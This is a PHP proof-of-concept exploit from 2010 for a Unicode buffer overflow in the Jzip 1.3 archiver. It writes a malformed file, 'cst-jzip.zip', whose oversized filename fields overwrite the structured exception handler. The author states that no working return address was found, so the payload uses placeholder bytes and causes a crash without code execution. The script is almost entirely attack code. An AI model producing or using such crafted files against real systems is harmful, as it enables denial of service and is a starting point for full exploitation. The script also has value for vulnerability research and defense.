Jzip 1.3 – ‘.zip’ Unicode Buffer Overflow (PoC)
<?php /* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC Date: 6/4/2010 Author: mr_me (http://net-ninja.net/) Software Link: http://www.jzip.com/ Version: 1.3 Tested on: Windows XP SP3 En Advisory: http://www.corelan.be:8800/advisories.php?id=10-021 Greetz to: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Note: jzip.exe and all associated modules are compiled with safeseh and combine that with the unicode limitation proves very difficult for exploitation. We did not find a working unicode address, otherwise this vulnerability would have been alot more fun! The seven moons were not aligned as Ben puts it :) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Script provided 'as is', without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. */ $lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00"; $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; $efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00". "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00"; $___offset = 4064; $___nseh = str_repeat("\x43",2); $___seh = str_repeat("\x44",2); $___exploit = str_repeat("\x41",810). $___nseh. $___seh; $___exploit .= str_repeat("\x41",$___offset-strlen($___exploit)). "\x2e\x74\x78\x74"; $_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record; file_put_contents("cst-jzip.zip",$_____b00m); ?> |